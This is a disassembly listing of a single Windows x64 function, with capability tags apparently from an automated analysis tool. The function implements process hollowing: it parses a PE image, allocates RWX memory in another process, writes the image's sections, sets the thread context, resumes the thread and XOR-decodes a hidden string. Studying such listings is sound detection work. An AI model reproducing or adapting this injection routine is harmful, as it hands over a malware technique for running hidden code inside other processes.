Function at 0x140155010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rax, rdi
cmp word [rax], 0x5a4d
jne 0x14015505c
movsxd rdx, dword [rax + 0x3c]
cmp word [rdi + rdx + 0x18], 0x20b
sete dl
movzx edx, dl
jmp 0x14015505e
xor edx, edx
mov byte [0x1403029b0], dl
xor ebx, ebx
xor r14d, r14d
cmp byte [0x1403029b0], 0
je 0x14015507b
movsxd r14, dword [rax + 0x3c]
add r14, rdi
jmp 0x140155086
movsxd rbx, dword [rax + 0x3c]
add rbx, rdi
mov eax, dword [rbx]
jmp 0x140155089
mov eax, dword [r14]
cmp eax, 0x4550
jne 0x140155707
call fcn.14018c100
cmp eax, 8
je 0x1401550a5
mov ecx, 0x40
jmp 0x1401550aa
mov ecx, 0x60
call fcn.140155850
mov rdi, rax
call fcn.14018c100
cmp eax, 8
je 0x1401550c3
mov ecx, 0x10
jmp 0x1401550c8
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1400eaa50
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x10], rsi
mov r15, qword [rsi + 8]
lea rcx, [0x1401b7c08]
call fcn.1401540b0
test rax, rax
jne 0x1401550f9
lea rcx, [0x1401b7c08]
call fcn.140153fc0
test rax, rax
jne 0x140155103
xor r12d, r12d
jmp 0x140155115
mov rcx, rax
lea rdx, [0x1401a35f0]
call fcn.140154440
mov r12, rax
test r12, r12
je 0x140155459
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r12
mov rcx, r15
lea rdx, [0x14019aa40]
xor r8d, r8d
xor r9d, r9d
call fcn.140076890
test eax, eax
je 0x140155459
test rdi, 0xffffffffffff0000
je 0x140155197
mov rcx, rdi
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0xa0]
call fcn.140003070
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa0]
call fcn.1400030c0
cmp byte [0x1403029b0], 0
jne 0x140155610
mov edi, dword [rbx + 0x34]
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
mov r12, rax
call fcn.14018c100
cmp eax, 8
je 0x140155619
mov ecx, 4
movsxd rcx, ecx
mov r12, qword [r12 + rcx]
mov rcx, r15
mov rdx, rdi
call fcn.1401558b0
test r15, r15
je 0x1401555ea
test r12, r12
je 0x1401555ea
movzx ecx, byte [0x1403029b0]
test ecx, ecx
jne 0x140155623
mov r8d, dword [rbx + 0x50]
test ecx, ecx
jne 0x14015562c
mov r13d, dword [rbx + 0x54]
test ecx, ecx
jne 0x140155635
movzx edx, word [rbx + 6]
movzx eax, dx
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x14015563f
mov r10d, dword [rbx + 0x28]
mov dword [rbp - 0x48], r10d
mov dword [rsp + 0x20], 0x40
mov rcx, r15
mov qword [rbp - 0x70], rcx
mov rdx, rdi
mov qword [rbp - 0x78], rdx
mov dword [rbp - 0x64], r8d
mov r9d, 0x3000
mov dword [rbp - 0x68], r9d
lea rcx, [rbp - 0xa0]
call fcn.140003070
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov r8d, dword [rbp - 0x64]
mov r9d, dword [rbp - 0x68]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xa0]
call fcn.1400030c0
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov rdx, rsi
mov r9d, r13d
call fcn.140155920
test eax, eax
jne 0x1401555c4
cmp byte [0x1403029b0], 0
jne 0x140155648
add rbx, 0xf8
xor r14d, r14d
mov r13d, dword [rbp - 0x44]
test r13d, r13d
jle 0x140155307
mov edx, dword [rbx + 0xc]
add rdx, rsi
mov r8, qword [rdi + 0x10]
mov ecx, dword [rbx + 0x14]
add r8, rcx
mov r9d, dword [rbx + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.140155920
test eax, eax
jne 0x14015559e
add rbx, 0x28
inc r14d
cmp r14d, r13d
jl 0x1401552c9
cmp byte [0x1403029b0], 0
jne 0x140155654
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1400eaa50
mov rdi, rax
cmp byte [0x1403029b0], 0
je 0x14015565e
mov dword [rdi + 0x30], 0x10001b
cmp byte [0x1403029b0], 0
jne 0x140155669
mov rcx, r12
mov rdx, rdi
call fcn.140154280
test eax, eax
je 0x140155578
mov ebx, dword [rdi + 0xa4]
mov r14, qword [rdi + 0x88]
mov rcx, rsi
call fcn.1400857c0
cmp byte [0x1403029b0], 0
jne 0x140155681
add ebx, 8
movsxd rdx, ebx
mov r9d, dword [rax + 8]
xor ecx, ecx
mov qword [rbp - 0x60], rcx
mov dword [rbp - 0x50], ecx
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x60]
cmp dword [rcx + 8], 0
jne 0x14015568a
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.140155920
xor ecx, ecx
test eax, eax
sete cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x1401554a5
cmp byte [0x1403029b0], 0
je 0x1401556a6
mov ecx, dword [rbp - 0x48]
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [0x1403029b0], 0
jne 0x1401556b8
mov rcx, r12
mov rdx, rdi
call fcn.1401541a0
test eax, eax
je 0x14015547f
mov rcx, r12
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa0]
call fcn.140003070
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa0]
call fcn.1400030c0
mov qword [rbp - 0x58], r15
jmp 0x1401556e6
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a4fb8]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a4c30]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a4fb8]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rsi, [0x1401b5e08]
lea rcx, [0x140212518]
mov edx, 0x37
call fcn.140002d00
xor ecx, ecx
mov edx, ecx
lea r8, [0x14019b2a0]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 0xf
add r8d, ecx
and r8d, 0xfffffff0
mov r9d, ecx
sub r9d, r8d
cmp r9d, 0x10
jae 0x14015554d
mov r8d, ecx
sar r8d, 0x1f
and r8d, 0xf
add r8d, ecx
and r8d, 0xfffffff0
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
movzx r8d, word [rsi + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x37
jl 0x1401554bf
mov rcx, rax
call fcn.14007c3c0
mov rsi, rax
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rdi, rax
mov rcx, rdi
mov rdx, rsi
call fcn.1400823a0
mov rcx, rdi
call fcn.1400031d0
call fcn.14010cd80
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a4ce0]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a4d50]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a5070]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a5008]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a4c78]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
mov rdi, qword [r14 + 0x30]
jmp 0x1401551a7
mov ecx, 8
jmp 0x1401551c4
mov r8d, dword [r14 + 0x50]
jmp 0x1401551fb
mov r13d, dword [r14 + 0x54]
jmp 0x140155207
movzx edx, word [r14 + 6]
jmp 0x140155213
mov r10d, dword [r14 + 0x28]
jmp 0x140155225
lea rbx, [r14 + 0x108]
jmp 0x1401552bd
mov ecx, 0x4d0
jmp 0x140155319
mov dword [rdi], 0x10002
jmp 0x140155338
mov rcx, r12
mov rdx, rdi
call fcn.1401542f0
test eax, eax
je 0x140155552
jmp 0x140155358
lea rdx, [r14 + 0x10]
jmp 0x140155380
mov r8, qword [rbp - 0x60]
cmp dword [r8 + 8], 0
jbe 0x14015554d
mov r8, qword [rbp - 0x60]
add r8, 0x10
jmp 0x1401553a2
mov ecx, dword [rbp - 0x48]
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401553e2
mov rcx, r12
mov rdx, rdi
call fcn.140154210
test eax, eax
je 0x140155433
jmp 0x140155402
mov rcx, rsp
call fcn.14015578b
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1401c8aa0]
call fcn.140002be0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401a6f58]
call fcn.1400823a0
mov rcx, rsi
call fcn.1400031d0
xor eax, eax
jmp 0x1401556f3